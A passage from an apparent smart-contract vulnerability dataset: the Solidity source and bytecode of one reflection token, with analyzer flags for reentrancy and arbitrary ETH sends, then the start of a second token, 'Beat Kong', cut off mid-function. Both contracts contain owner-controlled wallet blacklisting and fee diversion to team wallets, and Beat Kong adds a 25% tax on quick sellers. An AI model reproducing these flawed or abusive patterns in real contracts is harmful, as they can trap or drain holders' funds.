function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _redisfee == 0) return;
_taxFee = 0;
_redisfee = 0;
}
function restoreAllFee() private {
_taxFee = 6;
_redisfee = 2;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (120 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function blockbot(address account, bool banned) public {
require(_msgSender() == _teamAddress);
if (banned) {
require( block.timestamp + 365 days > block.timestamp, "x");
bannedUsers[account] = true;
} else {
delete bannedUsers[account];
}
emit WalletBanStatusUpdated(account, banned);
}
function unban(address account) public {
require(_msgSender() == _teamAddress);
bannedUsers[account] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function limittx(uint256 maxTxPercent) external {
require(_msgSender() == _teamAddress);
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _redisfee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
event WalletBanStatusUpdated(address user, bool banned);
} | 0x6080604052600436106101185760003560e01c80638da5cb5b116100a0578063b9f1455711610064578063b9f1455714610322578063bd7a80a914610342578063c3c8cd8014610362578063c9567bf914610377578063dd62ed3e1461038c57600080fd5b80638da5cb5b1461026757806395d89b411461028f578063a6e02d64146102c2578063a9059cbb146102e2578063b515566a1461030257600080fd5b8063313ce567116100e7578063313ce567146101df5780635932ead1146101fb5780636fc3eaec1461021d57806370a0823114610232578063715018a61461025257600080fd5b806306fdde0314610124578063095ea7b31461016a57806318160ddd1461019a57806323b872dd146101bf57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600b81526a4054656e646f5061696e7560a81b60208201525b6040516101619190611b10565b60405180910390f35b34801561017657600080fd5b5061018a610185366004611997565b6103d2565b6040519015158152602001610161565b3480156101a657600080fd5b50678ac7230489e800005b604051908152602001610161565b3480156101cb57600080fd5b5061018a6101da366004611928565b6103e9565b3480156101eb57600080fd5b5060405160098152602001610161565b34801561020757600080fd5b5061021b610216366004611a8f565b610452565b005b34801561022957600080fd5b5061021b6104a3565b34801561023e57600080fd5b506101b161024d3660046118b5565b6104d0565b34801561025e57600080fd5b5061021b6104f2565b34801561027357600080fd5b506000546040516001600160a01b039091168152602001610161565b34801561029b57600080fd5b5060408051808201909152600a81526954656e646f5061696e7560b01b6020820152610154565b3480156102ce57600080fd5b5061021b6102dd366004611969565b610566565b3480156102ee57600080fd5b5061018a6102fd366004611997565b61065c565b34801561030e57600080fd5b5061021b61031d3660046119c3565b610669565b34801561032e57600080fd5b5061021b61033d3660046118b5565b6106ff565b34801561034e57600080fd5b5061021b61035d366004611ac9565b610740565b34801561036e57600080fd5b5061021b610808565b34801561038357600080fd5b5061021b61083e565b34801561039857600080fd5b506101b16103a73660046118ef565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103df338484610c00565b5060015b92915050565b60006103f6848484610d24565b610448843361044385604051806060016040528060288152602001611cfc602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611136565b610c00565b5060019392505050565b6000546001600160a01b031633146104855760405162461bcd60e51b815260040161047c90611b65565b60405180910390fd5b60108054911515600160b81b0260ff60b81b19909216919091179055565b600d546001600160a01b0316336001600160a01b0316146104c357600080fd5b476104cd81611170565b50565b6001600160a01b0381166000908152600260205260408120546103e3906111f5565b6000546001600160a01b0316331461051c5760405162461bcd60e51b815260040161047c90611b65565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600d546001600160a01b0316336001600160a01b03161461058657600080fd5b80156105f4574261059b816301e13380611c0b565b116105cc5760405162461bcd60e51b81526020600482015260016024820152600f60fb1b604482015260640161047c565b6001600160a01b0382166000908152600660205260409020805460ff19166001179055610615565b6001600160a01b0382166000908152600660205260409020805460ff191690555b604080516001600160a01b038416815282151560208201527ffc70dcce81b5afebab40f1a9a0fe597f9097cb179cb4508e875b7b166838f88d910160405180910390a15050565b60006103df338484610d24565b6000546001600160a01b031633146106935760405162461bcd60e51b815260040161047c90611b65565b60005b81518110156106fb576001600b60008484815181106106b7576106b7611cac565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106f381611c7b565b915050610696565b5050565b600d546001600160a01b0316336001600160a01b03161461071f57600080fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b600d546001600160a01b0316336001600160a01b03161461076057600080fd5b600081116107b05760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015260640161047c565b6107cd60646107c7678ac7230489e8000084611279565b906112f8565b60118190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b600d546001600160a01b0316336001600160a01b03161461082857600080fd5b6000610833306104d0565b90506104cd8161133a565b6000546001600160a01b031633146108685760405162461bcd60e51b815260040161047c90611b65565b601054600160a01b900460ff16156108c25760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161047c565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108fe3082678ac7230489e80000610c00565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561093757600080fd5b505afa15801561094b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096f91906118d2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156109b757600080fd5b505afa1580156109cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ef91906118d2565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610a3757600080fd5b505af1158015610a4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6f91906118d2565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d7194730610a9f816104d0565b600080610ab46000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610b1757600080fd5b505af1158015610b2b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b509190611ae2565b505060108054671bc16d674ec8000060115563ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610bc857600080fd5b505af1158015610bdc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106fb9190611aac565b6001600160a01b038316610c625760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047c565b6001600160a01b038216610cc35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047c565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d885760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161047c565b6001600160a01b038216610dea5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161047c565b60008111610e4c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161047c565b6000546001600160a01b03848116911614801590610e7857506000546001600160a01b03838116911614155b156110d957601054600160b81b900460ff1615610f5f576001600160a01b0383163014801590610eb157506001600160a01b0382163014155b8015610ecb5750600f546001600160a01b03848116911614155b8015610ee55750600f546001600160a01b03838116911614155b15610f5f57600f546001600160a01b0316336001600160a01b03161480610f1f57506010546001600160a01b0316336001600160a01b0316145b610f5f5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015260640161047c565b601154811115610f6e57600080fd5b6001600160a01b0383166000908152600b602052604090205460ff16158015610fb057506001600160a01b0382166000908152600b602052604090205460ff16155b610fb957600080fd5b6010546001600160a01b038481169116148015610fe45750600f546001600160a01b03838116911614155b801561100957506001600160a01b03821660009081526005602052604090205460ff16155b801561101e5750601054600160b81b900460ff165b1561106c576001600160a01b0382166000908152600c6020526040902054421161104757600080fd5b611052426078611c0b565b6001600160a01b0383166000908152600c60205260409020555b6000611077306104d0565b601054909150600160a81b900460ff161580156110a257506010546001600160a01b03858116911614155b80156110b75750601054600160b01b900460ff165b156110d7576110c58161133a565b4780156110d5576110d547611170565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061111b57506001600160a01b03831660009081526005602052604090205460ff165b15611124575060005b611130848484846114c3565b50505050565b6000818484111561115a5760405162461bcd60e51b815260040161047c9190611b10565b5060006111678486611c64565b95945050505050565b600d546001600160a01b03166108fc61118a8360026112f8565b6040518115909202916000818181858888f193505050501580156111b2573d6000803e3d6000fd5b50600e546001600160a01b03166108fc6111cd8360026112f8565b6040518115909202916000818181858888f193505050501580156106fb573d6000803e3d6000fd5b600060075482111561125c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161047c565b60006112666114ef565b905061127283826112f8565b9392505050565b600082611288575060006103e3565b60006112948385611c45565b9050826112a18583611c23565b146112725760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047c565b600061127283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611512565b6010805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061138257611382611cac565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113d657600080fd5b505afa1580156113ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061140e91906118d2565b8160018151811061142157611421611cac565b6001600160a01b039283166020918202929092010152600f546114479130911684610c00565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611480908590600090869030904290600401611b9a565b600060405180830381600087803b15801561149a57600080fd5b505af11580156114ae573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b806114d0576114d0611540565b6114db848484611563565b806111305761113060066009556002600a55565b60008060006114fc61165a565b909250905061150b82826112f8565b9250505090565b600081836115335760405162461bcd60e51b815260040161047c9190611b10565b5060006111678486611c23565b6009541580156115505750600a54155b1561155757565b60006009819055600a55565b6000806000806000806115758761169a565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115a790876116f7565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115d69086611739565b6001600160a01b0389166000908152600260205260409020556115f881611798565b61160284836117e2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161164791815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e8000061167582826112f8565b82101561169157505060075492678ac7230489e8000092509050565b90939092509050565b60008060008060008060008060006116b78a600954600a54611806565b92509250925060006116c76114ef565b905060008060006116da8e878787611855565b919e509c509a509598509396509194505050505091939550919395565b600061127283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611136565b6000806117468385611c0b565b9050838110156112725760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047c565b60006117a26114ef565b905060006117b08383611279565b306000908152600260205260409020549091506117cd9082611739565b30600090815260026020526040902055505050565b6007546117ef90836116f7565b6007556008546117ff9082611739565b6008555050565b600080808061181a60646107c78989611279565b9050600061182d60646107c78a89611279565b905060006118458261183f8b866116f7565b906116f7565b9992985090965090945050505050565b60008080806118648886611279565b905060006118728887611279565b905060006118808888611279565b905060006118928261183f86866116f7565b939b939a50919850919650505050505050565b80356118b081611cd8565b919050565b6000602082840312156118c757600080fd5b813561127281611cd8565b6000602082840312156118e457600080fd5b815161127281611cd8565b6000806040838503121561190257600080fd5b823561190d81611cd8565b9150602083013561191d81611cd8565b809150509250929050565b60008060006060848603121561193d57600080fd5b833561194881611cd8565b9250602084013561195881611cd8565b929592945050506040919091013590565b6000806040838503121561197c57600080fd5b823561198781611cd8565b9150602083013561191d81611ced565b600080604083850312156119aa57600080fd5b82356119b581611cd8565b946020939093013593505050565b600060208083850312156119d657600080fd5b823567ffffffffffffffff808211156119ee57600080fd5b818501915085601f830112611a0257600080fd5b813581811115611a1457611a14611cc2565b8060051b604051601f19603f83011681018181108582111715611a3957611a39611cc2565b604052828152858101935084860182860187018a1015611a5857600080fd5b600095505b83861015611a8257611a6e816118a5565b855260019590950194938601938601611a5d565b5098975050505050505050565b600060208284031215611aa157600080fd5b813561127281611ced565b600060208284031215611abe57600080fd5b815161127281611ced565b600060208284031215611adb57600080fd5b5035919050565b600080600060608486031215611af757600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611b3d57858101830151858201604001528201611b21565b81811115611b4f576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bea5784516001600160a01b031683529383019391830191600101611bc5565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611c1e57611c1e611c96565b500190565b600082611c4057634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611c5f57611c5f611c96565b500290565b600082821015611c7657611c76611c96565b500390565b6000600019821415611c8f57611c8f611c96565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104cd57600080fd5b80151581146104cd57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b7326d7f3025599dfde9c6b65709e8dbe34a9e602591c426debb3d2e231c30c664736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 919 |
0x1E76776ED99dC8D5bbfC6c37a6c48CA462FaC5c8 | /**
*Submitted for verification at Etherscan.io on 2022-03-19
*/
//SPDX-License-Identifier: Unlicensed
/**
BEATKONG uses the power of music on the Ethereum Blockchain to reward all its holders with a moonshot they deserve. A decentralized meme token with big plans to become the ruler of Ethereum Mainnet.
https://t.me/beatkong
**/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BeatKong is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 60000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
string private constant _name = "Beat Kong";
string private constant _symbol = "BEATKONG";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWallet = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(_msgSender());
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_maxTxAmount = 600000 * 10 ** 9;
_maxWallet=1200000 * 10 ** 9;
emit Transfer(address(_msgSender()), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function originalPurchase(address account) public view returns (uint256) {
return _buyMap[account];
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function setMaxTx(uint256 maxTransactionAmount) external onlyOwner() {
_maxTxAmount = maxTransactionAmount;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isBuy(from)) {
// TAX SELLERS 25% WHO SELL WITHIN 4 HOURS
if (_buyMap[from] != 0 &&
(_buyMap[from] + (4 hours) >= block.timestamp)) {
_feeAddr1 = 2;
_feeAddr2 = 25;
} else {
_feeAddr1 = 2;
_feeAddr2 = 6;
}
} else {
if (_buyMap[to] == 0) {
_buyMap[to] = block.timestamp;
}
_feeAddr1 = 2;
_feeAddr2 = 6;
}
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 100000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount);
}
function createPair() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
}
function addLiquidity() public onlyOwner{
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function enableTrading() external onlyOwner{
tradingOpen = true;
}
function setBots(address[] memory bots_) public onlyOwner{
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function removeStrictTxLimit() public onlyOwner {
_maxTxAmount = _rTotal;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function updateMaxTx (uint256 fee) public onlyOwner {
_maxTxAmount = fee;
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
